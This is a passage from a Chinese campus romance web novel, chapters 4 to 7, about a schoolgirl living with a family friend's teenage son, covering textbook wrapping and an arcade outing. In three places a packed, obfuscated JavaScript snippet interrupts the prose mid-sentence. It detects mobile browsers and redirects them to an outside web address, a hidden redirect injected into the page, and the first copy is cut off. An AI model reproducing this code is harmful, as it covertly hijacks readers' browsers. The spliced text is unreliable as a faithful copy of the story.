只是跟这哥哥并排坐在一起吃东西而已，怎么会闹出这么大的误会啊喂？！ 闵向栀还咬着木签，她微缩着肩膀，一动不动的坐在那里，恨不得缩成一个小点点，凭空消失。 空气里弥漫着泡面的香气，面还没泡好，等在那里的谭卓言漫不经心的吃着手里的一根烤肠，从窗外透过来的夕阳还有些晒，少年眼皮微耷拉着，神色慵懒，视线落在对面的落地窗上，看到窗户上映出的闵向栀小小的身影局促的缩在那里，他清凉的眼底不着痕迹的浮起一丝缱绻的意味。 吃完手里的烤肠，谭卓言起身，走过去，从墙角的冷藏柜里拿了瓶饮料，再转身回去时，一抬头就看到，那边的闵向栀坐到了靠墙的位置上，跟他的座位足足相隔了四五个位置。 “……” 胆小鬼。 谭卓言长指松散的捏着饮料瓶，他懒慢的走过去，却没落座，将饮料放到闵向栀那里，就直接伸手，从桌上揽过了他那碗泡面。 刚要落座，就看到闵向栀侧着身子，双手覆在座椅上，她仰着脑袋望着他：“哥哥，你还是坐旁边的位置上吧。” 谭卓言低着眼睫，睨了一眼闵向栀的手指，纤长皙白，还透着些粉，指端小小圆圆的，很可爱。 他微抬眼皮，视线上移，对上闵向栀黝黑的眸子：“怎么，我不能挨着你坐？” “嗯，会被人说。” “说什么？”谭卓言拖着散漫的音调故意逗她。 闵向栀咬了下唇，刚才听到的那些话，让她怎么好意思说的出口呢。 “反正，就是不能坐。” 眼看着闵向栀白皙的脸颊上泛了红晕，连耳根都红透了，谭卓言微扬了下眉，他没再逗她，而是随身落座到了，旁边的空位上。 瞧着谭卓言终于落座到了邻近的位置上，闵向栀松了口气，她转过身子，拿过桌上还剩一半的草莓酸奶，刚咬上吸管，还没来得及喝一口，就感觉到旁边的人，忽地一下又紧挨着她坐了下来。 坐下时，他的手肘还无意间碰到了她的小臂，有些痒。 随之而来的是谭卓言不着腔调的一句话，吊儿郎当的，带着些不正经的逗弄：“说你跟我搞对象？” “……” 4. 4 俩人挨得近，谭卓言还像早上一样刻意压低了声音，仿佛又再跟她说悄悄话似的。 闵向栀被他那句不着调的话，烫的脸上一阵燥热，她缩了一下手臂，跟谭卓言拉开距离。 还不忘红着脸一本正经的纠正了他一句：“我们老师说了，不能早恋。” “嗯，行。”旁边的谭卓言忽地笑出了声。 不知道他在笑什么，闵向栀不禁偏头望了过去。 微晃眼的夕阳里，谭卓言正单手举着饮料瓶，仰头喝了一口，饮料入喉，他凸出的喉结也跟着上下滑动了下。 咽下那口饮料，谭卓言边漫不经心地拧上瓶盖，边转头望向了闵向栀，少年好看的眉眼浮着一层光，似笑非笑道：“那就偷偷谈，不告诉老师。” “……” 他不着调的语气里，缠着细碎的笑意，分明又是在逗她。 完全。 没办法再跟这哥哥待下去了。 他老是耍无赖。 闵向栀伸过手，摊着粉白的手掌心：“哥哥给我钥匙。” “干嘛？” “我要先回家了。” 谭卓言将饮料放到一边，他掀开泡面盒的盖子，用塑料叉子叉了口面：“陪哥哥吃完面，一块回去。” “不要。”闵向栀还摊着手掌心，坚持要走。 谭卓言嚼着嘴里的泡面，他放下手里的塑料叉子，空着手，拍了下闵向栀的掌心，含糊道：“听话。” “……” 摊开的掌心有些痒，闵向栀不禁缩回了手。 钥匙虽然没要过来，但闵向栀还是坚持要走：“那我去小区门口等你。” 谭卓言放下手中的叉子，他拿起旁边的饮料，喝了一口：“你要是现在走的话，哥哥会被人说闲话的。” 听他这样说，原本要起身的闵向栀又坐了回去：“说你什么呀？” “说我欺负你。”谭卓言长指捏着饮料瓶，整个人都懒懒散散的，却学着闵向栀刚才的样子一本正经道，“以后我可没脸面再来这家店了。” “……” 有那么严重么。 闵向栀狐疑的瞅了谭卓言一眼：“真没看出来。” 谭卓言放下饮料瓶，他微挑了下眉：“没看出什么，嗯？” 闵向栀握着手上的草莓酸奶，她抿了一口，而后才慢吞吞的回了谭卓言一句：“哥哥的脸皮还挺薄的。” “……” 九月的天黑的慢，直到晚上八点时，天色才终于彻底黑透。 家里灯光通明，已经回到家的许艺萍，在厨房熬了一小锅燕窝，还没来得及盛到碗里，放在一边的手机进来一通电话。 是便利店的员工有急事找她。 接完电话，许艺萍匆匆走出了厨房。 看谭卓言正戴着耳机，窝在沙发里打游戏，许艺萍走过去，拍了拍他肩膀：“卓言。” 谭卓言摘下了手机：“干嘛，老妈？” “我有急事得出去一趟，小锅里有刚煮好的燕窝，你等下给向栀盛一碗，别忘了啊。”许艺萍一边说着，一边已经朝玄关处走了过去。 不大一会儿，一声关门响，许艺萍就已经匆匆出了门。 谭卓言在沙发上伸了个懒腰，从沙发上起身时，他回头看了眼闵向栀的房间，刚才回家时，她就窝进去写作业去了。 直到这会儿都没出来，安静的仿佛不存在似的。 穿过客厅，谭卓言走进厨房，他从橱柜里拿出两个小碗，盛了些燕窝。 刚煮好的燕窝有些烫，晾了会儿，没那么烫了，谭卓言三两口喝完一小碗，他就端起另一碗，朝着闵向栀的房间走了过去。 停到门口，敲了敲门，屋内很快响起闵向栀软软的声音：“谁呀？” “我，出来喝燕窝。”谭卓言侧身懒懒的倚到了门框上。 屋里响起了椅子被移开的声音，很快闵向栀走过来，打开了门。 谭卓言将手上的燕窝递了过去：“不烫了，刚好能喝。” 闵向栀接过小碗：“谢谢哥哥。” 见谭卓言还靠在门框上，像是等她喝完就要收走碗的架势，本来想回屋里喝燕窝的闵向栀，也只好站在门口喝了起来。 就着白瓷勺喝了两三口燕窝，似是想起了什么，闵向栀停下，问了一句还站在那里的谭卓言：“哥哥有那种美工刀么？” “要美工刀干嘛？” “我想裁书纸，剪刀不怎么好用。”闵向栀捧着小碗回道。 谭卓言双手插兜，他抬眸，随意朝前面瞅了一眼，看到书桌上摆着几张粉色碎花的书纸，他问：“写完作业了？” “嗯，刚写完。” 谭卓言倾身，他站直身子，朝后微偏了下脑袋，示意闵向栀：“过来，我跟你一起包书纸。” 闵向栀摇了摇头：“不用了，我……” “不让我跟你一起包书纸的话，那我就不给你找美工刀了。”谭卓言又顺势靠到了门框上，语气闲闲的打断了闵向栀的话。 “……” 闵向栀捧着手里快要喝完的燕窝，吃人家的嘴软，再说谭卓言也是帮忙，她也就不好意思再拒绝了。 “好吧，那就麻烦哥哥了。” 谭卓言还懒散的靠着门框，他微扬下巴，示意了下闵向栀手里的燕窝：“快喝，就剩一点了。” “哦。”闵向栀捧着小碗，仰头喝完了剩余的燕窝。 将新书和书纸拎过去时，谭卓言已经从他房间里找了一把美工刀过来，闵向栀拿出一张新的书纸，摊在了茶几上。 “哥哥不包书纸么？”闵向栀边将那张书纸对折，边随口聊了一句。 谭卓言坐到了她的对面，低眸瞅了一眼茶几上粉粉的小碎花书纸，又看到旁边的报纸，他微抬起了眸：“用报纸包？” “……”倒也不至于。 闵向栀将美工刀推出几格，闷头开始裁纸。 谭卓言拿起一本书，搁到一张新的书纸上比了比：“所有书都用同一种书纸？” “嗯，太杂乱的话，不好看。”闵向栀头也没抬的回道。 手上的美工刀也没停，还在裁着书纸，许是分了那么一下神，闵向栀没注意手上的力道，“刺啦”一声。 锋利的刀刃划破书纸，也在她小指腹上划了一道口子。 一股钝痛感袭来，钻心的疼，闵向栀不禁缩了下手，也在同时丢到了另一只手上的美工刀。 对面的谭卓言闻声望了过去，看到闵向栀小指腹溢出的鲜血，他几乎是下意识的探身，抓过她的手腕，将她出血的小指腹含进他的嘴里，吸吮了下。 “……” 那一下像是点穴，在瞬间就封了闵向栀所有的筋脉，她突然怔在那里，动弹不得。 只感觉到小指腹的伤口那里麻滋滋的，像是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“哦，那就是害臊了。”一转刚才低温的语气，谭卓言又跟之前一样吊儿郎当的丢过去一句。 “……” 不过几秒，这哥哥身上的无赖本性又暴露了出来。 被戳中了心事，闵向栀闷着语气，不自然道：“哥哥要是再乱说，我就真的不理你了。” “行，不说了。”谭卓言探身，从茶几上拿过美工刀，他才又问了闵向栀一句，“我来裁纸，裁好了，你包书，行么？” “嗯。”闵向栀轻轻的应了一声。 刚应完，闵向栀就后悔了。 刚才慌乱的心跳还没平复，那短暂的心空也还没闹明白是怎么一回事，只知道这一切的反应都是因为谭卓言而挑起的，她竟然还答应他留下来陪她包书。 茶几不算大，谭卓言坐在一边，挨着她，距离有些近，稍微不注意就能碰到她。 闵向栀局促的窝在那里，半个身子都有些僵，她不说话，也不敢跟谭卓言对视，但她的注意力又好像全都在他的身上，呼吸变轻，脑袋里也跟着一片空白。 整个人身上都好似弥漫着一股很诡异的紧张感，别别扭扭的。 早知道这样，她刚才又何必答应谭卓言留下来陪她呢。 包书纸而已，她一个人就可以的。 可即便这样懊悔，闵向栀却都没起身离开，就那么拘谨又别扭的挨着谭卓言，在他的陪伴下，给所有的新书都包好了书纸。 直到很多年后，再回忆起那个初秋燥热的晚上，闵向栀才后知后觉的意识到，她可能那个时候就已经喜欢上了谭卓言。 所以哪怕再别扭，也还是想待在他身边。 跟他待在一起。 5. 5 第二天上学时，同桌俞青玥一见到闵向栀的新书纸，就忍不住夸赞了一句：“哇，好漂亮，你这么快就包上书纸了呀？” “嗯，昨天中午在学校外面买的。”看到俞青玥的书光溜溜的，闵向栀转而问道，“你不包书纸么？” “包呀，但我想周末去新开的那家商场去买书纸，听说地下一层都是学生用品，你要不要跟我一起去逛逛？”俞青玥邀约道。 “好啊，我也想熟悉一下江城。”闵向栀爽快的答应了下来。 新学期的第一周过得很快，转眼就到了周末。 周六上午九点，闵向栀收拾完就走出了房门，许艺萍吃过早餐就已经出门了，家里只有她跟谭卓言两个人。 早上吃早餐时没见到谭卓言，他应该还在睡懒觉，不过这会儿刚出门，就撞见他从房间里走了出来。 他看着像刚睡醒的样子，头发还有些蓬乱，睡眼惺忪的，没什么精神，却没有一点晨起的水肿，即便简单的白T黑裤子，也依然难掩他帅气的模样。 闵向栀主动打了声招呼：“哥哥早，谭姨给你留了早餐，让你记得吃。” 谭卓言走到洗手间门口时，他停了下来，双手插兜的倚着门框：“不吃了，等会儿你陪我下楼吃吧，吃完我带你到处转转。” 闵向栀双手抓着身上包包的带子：“不要了，我跟同学约好了，要一起逛商场。” 看着她像是不好意思，所以才找了个借口拒绝他，谭卓言随口问道：“你刚到这边，有相熟的同学？” “当然有了。”闵向栀朝门口走了过去。 还没走到门口，身上的包包带子突然被人从后面拉扯了下，闵向栀不禁转头望了过去。 早上和煦的日光里，谭卓言懒懒散散的倚着门框，少年艳丽的五官，比之映入眼帘的日光还要晃眼，刚睡醒的眉眼里带着些慵懒，看过来时他清凉的眼底不着色，意外的魅惑又勾人。 刚跟他缠人的视线一对上，闵向栀的心跳就重重的落空了一拍。 谭卓言松开了她包包的带子：“跟哥哥去吧，下次再跟你同学去。” 闵向栀有些恍惚，不知是被窗外的日光晃了眼，还是被眼前这位哥哥的美色迷了眼，她差一点就脱口答应时，在这个时候，她又突然清醒了过来。 跟新同学的第一次约会，怎么能因为美色就失约呢。 也太不够义气了。 闵向栀转身，一脸认真的又拒绝道：“我已经跟同学约好了，不能反悔，哥哥要是想带我出去，应该早一点跟我商量的。” 谭卓言轻笑了声：“你这同学魅力还挺大，连哥哥都拒绝。” “……”这是什么话。 闵向栀又转过身，走到了门口，她一边低头换着鞋子，一边嘟囔道：“反正我要跟我同学去，哥哥再见。” 说完，闵向栀就打开门走了出去。 周末的上午，街上很多人，连坐地铁时都挤满了人。 半个小时后，转了两趟地铁，闵向栀才终于抵达跟俞青玥约好的，那家新商场的门口。 见俞青玥已经等在了那里，闵向栀快步走了过去：“你很早就到了么？” “没，我也是刚到，就比你早了五分钟而已。”俞青玥亲昵的揽住了闵向栀的胳膊。 说话间，两个人就已经走进了商场。 “你要看衣服鞋子么，要是不想看，我们就直接下楼吧。” 闵向栀朝前面望了一眼，到处都是人，她也没什么好买的：“好啊，那就先下楼吧。” 下到地下一层，两个人在电梯的拐角处各买了一杯奶茶，就直接逛了起来。 那一层到处都是学生用品，就连书纸的样式都多到快要挑花眼。 逛了一圈，该买的也都买了，就差不多快要十一点了，看时间还有些早，俞青玥就提议道：“我们要不要先逛一下五楼的电玩城，然后直接就去六楼的大排档吃午餐，怎么样？” “可以呀，我其实无所谓的，就听你安排吧。”闵向栀将买好的圆珠笔塞进了包包里。 离开前，两个人又各自买了一杯果汁。 乘坐直梯，抵达五楼电玩城，里面游戏很多，人也很多。 刚走出电梯，俞青玥就跟闵向栀说道：“我要去趟厕所，你去么？” “你先去吧，饮料给我，我就在这里等你。”闵向栀接过了俞青玥手上的那杯饮料。 看着俞青玥离开后，闵向栀就走到了前边人少的地方，她拎着两杯饮料，乖乖的等在了那里。 还没等多久，忽地听见有人唤她的名字：“闵向栀。” 闵向栀循声望了过去，看到一个男生朝她这边走了过来，有些眼熟，像是班里的同学，但她不记得那男生的名字了。 看闵向栀有些疑惑的样子，八成没认出他，男生便主动报了名字：“我，文昊扬啊，就坐在你前面，跟你隔了三排的位置。” 哦。 隔那么远，难怪她记不得他的名字呢。 尽管不熟悉，闵向栀还是礼貌的应了一句：“你好。” 打完招呼，还以为文昊扬就能离开了，毕竟在班上没说过一句话，在外面也不过是点头之交。 哪知闵向栀刚打完招呼，文昊扬非但没离开，还很自来熟的凑了过来，跟她搭话道：“你一个人来的么？” “不是，跟我同桌过来的。”闵向栀简单应了一句。 “你同桌啊，俞青玥是不是？” 闵向栀微微抿了下唇：“嗯。” 应完，闵向栀就没在说什么了。 气氛一下子冷掉。 换作他人估计就知趣的离开了，但文昊扬却还是赖着不走：“你吃午餐了吗？” “还没。”闵向栀敷衍了一句。 “那我请你吧，我刚去楼上逛了一圈，上面有很多好吃的。”文昊扬伸手扯了下闵向栀的包包，示意她去楼上看看。 那一下虽然没触碰到她，可闵向栀心里还是有些不舒服，她将包包转到了身子的另一侧：“不用了，谢谢。” “你别担心，我带钱了。” “……”没有人问你带没带钱啊。 闵向栀无奈的抿了下唇：“我也带钱了，所以我不用你请我吃饭。” 说完，闵向栀偏头朝女厕的方向望了一眼，俞青玥还没出来，手上拎着饮料，她也没办法进去。 “你要是想等俞青玥出来，也没关系，那我就请你们两个人一起吃午餐。” 听到文昊扬的话，闵向栀咬了下唇：我一点都不想跟你去吃午餐。 她转头，刚想要把这句话讲出来时，却忽地看到一个熟悉的身影从电梯里走了出来。 谭卓言被几个人围着，身边有个男生勾着他的脖子，也不知道在说什么，他低着眉眼，勾唇浅浅的笑着。 看到谭卓言的一瞬间，闵向栀只觉脑海里一片空白，刚才到嘴边的话，也被她忘得一干二净了。 心里只剩莫名的一阵慌乱。 那边谭卓言一行人刚走过转角，就听尚熠伟突然冒出一句：“刚才下电梯时，前面那个穿白衬衫的小美眉，牛仔短裤下那又细又长的腿，有点像我们学校刚转来的那个小仙女。” 听到这话，周容瑄不禁扭头朝后望了一眼，果然看到了个穿白衬衫的女生，但看不到脸，只能看到一个侧影。 周容瑄又转过了头：“伟哥，就个后脑勺，能看出什么。” 尚熠伟轻咂了下舌：“这你就不懂了吧，哥能识腿认人。” 一旁的谭卓言漫不经意的也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717874|173804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟着朝后瞅了一眼，尚熠伟没认出来，他倒是一眼就认出了闵向栀，凭着她早上出门的那身衣服。 还真是巧，没想到在电玩城碰到了她。 视线稍移，看到闵向栀身边还站着个小男生，像是跟她一起来的，也像是早上非要拒绝他，而魅力比他还大的那个同学。 谭卓言平静的挑了挑眉，而后他转头跟其他人说：“你们先过去吧，我等下去找你们。” 说完，谭卓言就转身朝那边走了过去。 穿过人群，谭卓言径直走到长廊拐角的位置，他停下，跟闵向栀隔着不远不近的距离，他却没打声招呼，而是随身倚着墙角，慢悠悠的从口袋里掏出了手机。 解锁，打开微信。 谭卓言半垂着侧脸，指尖在屏幕上漫不经心的敲下一行字：这就是你早上非要出来见的小同学？ 刚要点击发送，就听到从斜前方传来一段对话。 “等俞青玥出来，我可以请你俩一起吃午餐的。”许是刚才没听到闵向栀的回应，文昊扬就又重复了一遍。 “不用了，我们可以自己吃的。” 闵向栀的声音有些闷，听起来不大高兴的样子。 谭卓言眼睫微颤，他指尖又轻点屏幕，将刚打出的那句话，又一个字一个字的删掉了。 将手机塞进口袋里，谭卓言抱起双臂，就那样懒洋洋的倚着墙，像看戏似的，饶有兴趣的望向了斜前方的那两个人。 “没事，我可以先陪你等俞青玥出来再说。”文昊扬始终赖着不走。 闵向栀没应话，也不看文昊扬，而是瞅着前面人来人往的电玩城。 刚才看到谭卓言时，心里的那阵慌乱还没散去，闵向栀也好像突然知道那些慌乱来自于哪里了。 她害怕谭卓言撞见她跟文昊扬站在一起，而误会她是跟这个男生一起出来玩的。 但其实。 她就连午餐都不想跟文昊扬一起吃呢。 是真的。 一！点！都！不！想！ 闵向栀抠紧手里的塑料袋，得想个办法让文昊扬赶紧离开才行。 忽地看到前面走来一个很壮实的刺头男人，闵向栀咬了下唇，她突然跟旁边的文昊扬说：“我不用你陪我，我哥来找我了。” 电玩城里依然人来人往，过往的女生频频朝谭卓言那边望去，他没在意，还像软骨头似的倚着墙，模样散漫，不咸不淡的游离在那些热闹之外，也只有听到闵向栀将他搬出来时，他松散的眉眼里才又染上了笑。 谭卓言放下抱在胸口的手臂，他双手插兜，还懒散的倚着墙，继续看好戏。 文昊扬不禁抬起头张望了下：“你哥来了么？” 闵向栀咬着唇，似是鼓起了勇气，伸手朝那位刺头男人指了下：“那个，就是我哥哥。” 不擅长于撒谎的她，话一说出口，她的脸颊就蹭的一下红了起来。 透过她红透的侧脸，谭卓言轻抬眼皮，顺着闵向栀手指的方向瞅了一眼，看到她指向的所谓的哥哥时，差点气笑了。 几乎是在同一时间，文昊扬也跟着望了过去，那刺头男人很壮实，手臂都能粗过他的大腿，拎起他估计就像是拎起个小鸡仔一样的轻松。 而且刺头男人的胸口上还纹了个虎头，看起来就很不好惹的样子。 察觉到刺头男人视线扫过来时，文昊扬连忙闷下了眼睫，他挠了挠头：“那我能跟你哥哥打声招呼么？” “不能。”闵向栀红着脸，继续哄骗道，“我哥要是知道你一直缠着我，他会。” 闵向栀偷偷吐出一口气，而后她语气闷闷软软的，讲出了她长这么大以来的第一句狠话：“他会打死你的。” 文昊扬：“……” 谭卓言：“……” 6. 6 周末的电玩城里人越来越多，人声混着机器声，嘈杂不断。 从前面传来几个男生打游戏的咒骂声：“操！打死他！” “给我往死里打！” “……” 闵向栀的那句话，混着这些咒骂声，即便再软的声音，都仿佛多了些震慑性。 文昊扬的心里不免着了慌。 再抬头望过去时，刚好撞见那个刺头男人也望了过来，眼神凶狠，像是要吃人的样子。 文昊扬不禁吓得一哆嗦：“那改天，我再请你吃午餐吧。” 说完，文昊扬就哧溜一下跑走了。 余光中看到文昊扬离开，闵向栀轻吐了一口气，总算是摆脱掉这个难缠的男同学了。 从女厕的方向走来几个女生，过道有些狭窄，怕挡着道，闵向栀拎着饮料朝后蹭了一两步。 那些女生路过时，频频朝她的斜后方望去，不知道在看什么。 很快就听到她们小声议论道：“你们看那边那个男生，长得也太帅了吧，像是从漫画里走出来的。” “我知道他！” “知道什么，你快说呀。” “他不就是一中的那个大帅逼校草嘛！” “……” 一中的校草。 那不就是。 闵向栀的脑海里忽地闪现出一个熟悉的身影，但转念一想，应该不是那个人吧。 刚才看到谭卓言时，明明看到他去对面的大厅了，怎么可能在她后面呢。 不会的。 闵向栀闷着眼睫，视线没什么焦点的望着从眼前来来回回走过的脚步，等那些女生走过去，她终于抵不过好奇心，转头朝后望了一眼。 身后是大把白花花的日光，差点迷花了她的眼，但闵向栀还是一眼就看到了，站在不远处的谭卓言。 他逆着光，周身晕着一层毛乎乎的光亮，在这样的白光里，他的五官反倒越发的立体，眉眼好看的有些不真实，跟周边的人仿佛不在一个图层里，也仿佛真的像是从漫画中走出来的少年。 只一眼，就能让人心慌意乱。 几乎是在看到他的同时，闵向栀就立马又转过了头，慌到都忘了跟他打声招呼。 落拍的心跳都还来不及平复，耳边就很快响起了那熟悉的不着腔调的冷线声：“都看到我了，还装作没看见？” 闵向栀微挺直了脊背，后知后觉的一阵心虚感涌起，刚才她吓唬文昊扬的样子，不会都被谭卓言看到了吧。 唔。 好丢人。 但很快闵向栀又乐观的想，也有可能没看到呢，说不定在文昊扬离开之后，谭卓言才过来的，他根本就没撞见刚才的那一幕。 一番自我催眠后，闵向栀轻吐了一口气，她转身，走过去，跟谭卓言打了声招呼：“哥哥，你也来这里玩吗？” 谭卓言模样松散的望着她：“嗯，你呢。” 闵向栀还以为他也在问她是不是来这里玩游戏的，她手指朝后指了下，刚要说跟同学一起过来先玩一圈，再上楼吃午餐。 可她还没来得及开口，就听到对面的谭卓言懒懒散散的又丢过来一句话：“出来玩，还是出来坏我名声的，嗯？” “……” 果然。 刚才发生的那一幕。 全都被这哥哥看到了。 闵向栀闷闷的站在那里，没法反驳，谭卓言说的也没错。 一开始搬出哥哥想吓唬文昊扬，也是因为撞见了谭卓言，才有了这个想法，虽然闵向栀手指的是另一个男人。 但坏了名声的那个，还真是谭卓言。 闵向栀垂着长长的眼睫，声音细细小小道：“哥哥，我知道错了。” 谭卓言低着眉眼，望着闵向栀白皙的脸颊上泛起的红晕：“错哪儿了？” “不应该撒谎，把你搬出来吓唬人。” 谭卓言无奈的抽了下嘴角：“那句话谁教你的？” 闵向栀抬起长睫：“哪句话啊？” “他会打死你的。”谭卓言面目清凉道。 “……”闵向栀心虚的又低下了头，她都不敢看谭卓言，跟个小学生似的，乖乖回道，“没有人教，我自己编的。” 她低着头，长长的睫毛覆下来，在她白皙的脸颊上扫下一片阴影，不施粉黛，却依然精致的像个娃娃。 许是觉得对面的谭卓言一直不说话，她悄悄抬起眼皮，偷看了一眼。 那一眼又乖，又无辜，像个犯错的小猫猫似的，毛绒绒的，谭卓言微抿了下嘴角，日光有些晒，迷了眼，但那一瞬间，他还是很清晰的感觉到了，心里的某一处没来由的塌陷一片。 察觉到对面的人一直没动静，闵向栀又抬眼望了过去，看到谭卓言低垂着眉眼，还跟刚才一样没什么表情的看着她，似是还有话要叮嘱她，于是她主动问道：“哥哥，你还有什么要说的么？”你还训我么？ 话落，对面的人依然没什么动静，过了两三秒，才听到他漫不经心的丢过来一句：“嗯，忘词了。” “……” 这哥哥。 训人都这么散漫。 俩人僵持中，那边去了很久的俞青玥终于返了回来：“向栀，不好意思，女厕人很多，让你久等了。” “没事的，你的饮料。”闵向栀将饮料递了过去。 注意到对面的谭卓言，都不用闵向栀介绍，俞青玥就主动打了声招呼：“谭学长好。” 谭卓言轻点了下头，而后他又望向闵向栀：“跟你出来的同学？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717875|173804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “嗯，我同桌俞青玥。”闵向栀回了一句。 话刚落，就看到前面有几个男生朝这边走了过来。 “卓哥！”尚熠伟升着音调唤了声。 谭卓言没理他，只是淡然回头瞥了一眼。 尚熠伟走近，勾着谭卓言的肩膀，调侃了一句：“我说你怎么半天都不来，原来在这里把妹呢。” 转头看到谭卓言把的妹，原来是他早之前一眼就倾心的小仙女时，尚熠伟好不痛心道：“卓哥你要不要这么残忍，一点机会都不给兄弟是不是。” 谭卓言清凉的睨了他一眼：“闭嘴，这我爸好朋友的女儿。” 瞧着谭卓言的眼神里有杀气，尚熠伟终于规矩了些，他放下手臂：“原来认识啊，那还不快介绍一下。” “闵向栀。”谭卓言简单介绍了下，关于其他的，他倒没说太多。 而后他又简单一句，将俞青玥介绍了下。 互相介绍完，瞧着都是一中的，一向爱热闹的周容瑄就热情的组局道：“既然大家都是校友，那走吧，一起玩游戏去。” 说完，周容瑄又顺便敲了谭卓言一笔：“等下再让谭学长请你们吃午餐。” 当着这么多学长的面，闵向栀也不好拒绝，她偏头跟俞青玥对视了一眼：“去么？” 俞青玥点了下头，而后她就很自来熟的跟那几个男生说道：“那就麻烦各位学长了。” 一行人朝前面的游戏大厅走去。 路过一排抓娃娃机时，俞青玥跟闵向栀说道：“向栀，这里面的小娃娃都好可爱，我们先玩抓娃娃吧。” 闵向栀应声望了过去，有个娃娃机里，装满了那种很小的娃娃，大概手掌心那么大，小小萌萌的很可爱。 她一眼就相中了其中一个，戴着粉色兔耳帽，鼻头也是粉粉的，但周身却是黑色的小猫咪玩偶。 看到谭卓言他们走到了前面的游戏机前，估计要在那里玩赛车的游戏，闵向栀就拉着俞青玥走了过去：“那好啊，我喜欢这个。” “哪个呀？” 闵向栀手指点着娃娃机的透明外壳：“就那个黑色的小猫咪。” 俞青玥瞅了一眼：“挺可爱的，但我喜欢那只绿色的小青蛙，肥嘟嘟的也很可爱。” 朝着绿色小青蛙望过去时，身后突然响起一道熟悉的声线：“想抓哪一个？” 闵向栀猝不及防地回头看了过去。 谭卓言不知何时站在了她的身后，距离靠的有些近，他弯腰，探身过来时，呼吸近得仿佛就在她的耳边。 闵向栀僵在了原地，一动都不敢动，还未有所反应，就听到那道熟悉的声线又在她的耳边响起。 不冷不淡的，夹着些漫不经心：“跟哥哥也指一下。” 7. 7 空气里似是弥漫起一股似有若无的香草味，闻着像是谭卓言身上清淡的洗衣液味道。 他个子高，贴近时，仿佛将她禁锢。 闵向栀只觉呼吸一滞，她慢吞吞的转过头，指尖点了一下娃娃机的外壁：“那个黑色的小猫咪。” 直到感觉到谭卓言直起了身子，闵向栀才终于觉得呼吸顺畅了许多。 尚熠伟也跑过来凑热闹道：“你们谭学长不擅长这个，我陪你们一起抓，这我可太擅长了。” 谭卓言没搭腔，他走过去，用纸币换了一堆硬币，分给了闵向栀她们一些。 尚熠伟毫不客气的从谭卓言那里抢来几个硬币，就投向了闵向栀旁边的机器里：“是戴粉色帽子的那个小猫咪是么？” “嗯。”闵向栀点了下头，她视线越过旁边的尚熠伟，不由自主的落到了正慢悠悠走到那边的谭卓言身上。 他今天的打扮很清爽，宽宽松松的浅蓝牛仔褂，搭了件简单的白T恤，墨绿色的裤子，腰间还垂了条勾着白色花纹的红丝巾。 看着像是初成长的少年，已经有了一点点成熟男人的味道，莫名有一种致命的吸引力。 “向栀妹妹。” 听到有人唤她的名字，闵向栀惊了一下，她慌张的转过了头。 像是生怕被人看穿她偷看谭卓言的事，回过神来，闵向栀就假装手忙脚乱的摆弄着抓娃娃的机器。 旁边的尚熠伟疑惑的看着她：“妹妹，要投币的。” “……” “哦。”闵向栀红着脸从口袋里掏出两个硬币，投了进去。 过了会儿，闵向栀才又反应过来，她转头望向尚熠伟：“学长刚才叫我是不是有事啊？” “我是想再跟你借两个硬币，我再抓一次。”尚熠伟跟她说道。 闵向栀从口袋里掏出几个硬币，递给了尚熠伟：“那就麻烦学长了。” “没事，我这次准能行。”尚熠伟接过硬币，就直接投了两个进去。 这边的娃娃很小，抓起来有些难度，闵向栀摆弄了半天，却一个都没抓着。 口袋里的硬币已经用完，只剩下一个，闵向栀正要去换些硬币时，突然听到旁边的尚熠伟开心的惊呼了声：“哎呦我去！总算让哥抓到一个！” “咕咚——”一声，那只小黑猫落到了下方的取物口。 尚熠伟伸手取了出来，而后他又递到了闵向栀的面前：“学长没骗你吧，说这次行，就准行。” 闵向栀瞧了一眼那只她很喜欢的，戴着粉粉帽子的黑色小猫咪，还没伸手接过，在这时，又有一只黑色的小猫咪递到了她面前。 她抬头，望了过去，就见着谭卓言松散的站在那里，伸着手臂：“是不是这只？” 尚熠伟抿了下嘴，转头不乐意道：“卓哥，就一点活路都不给兄弟是不是。”就一点都不让兄弟高光的表现一次是不是？！ 许是觉得有些吵，谭卓言微偏头，躲了一下，却没吭声。 闵向栀杵在那里，她其实心里面很想要谭卓言递来的那只小猫咪的，但又不好意思。 她也怕扫了尚熠伟的兴，毕竟是尚学长先递过来的，总不能那么没礼貌的就忽视掉尚学长的心意。 犹豫了下，闵向栀还是接过了尚熠伟递来的那只小猫咪：“谢谢学长。” 尚熠伟嘿嘿一笑：“不客气，妹妹开心就好。” 说完，尚熠伟又转头贱兮兮的跟谭卓言显摆道：“对不住了卓哥，这没办法，怎么看都是我的那只小猫咪更可爱一些。” “学长，也帮我抓一个吧！”俞青玥在后面唤了声尚熠伟。 尚熠伟立马转头走了过去：“来了，来了，想要哪一个，学长这就帮你抓出来。” 空地这边，只剩下了谭卓言跟闵向栀两个人。 谭卓言收回手，懒洋洋的轻啧了声：“要别人的，也不要哥哥的？” 闵向栀咬了下唇，她望着谭卓言手里的小猫咪，已经不能跟他说了，她其实。 非常非常非常想要他的那只。 闵向栀盯着他手里的那只小猫咪，违心道：“谁让哥哥慢了一步，毕竟是尚学长先帮我抓出来的。” 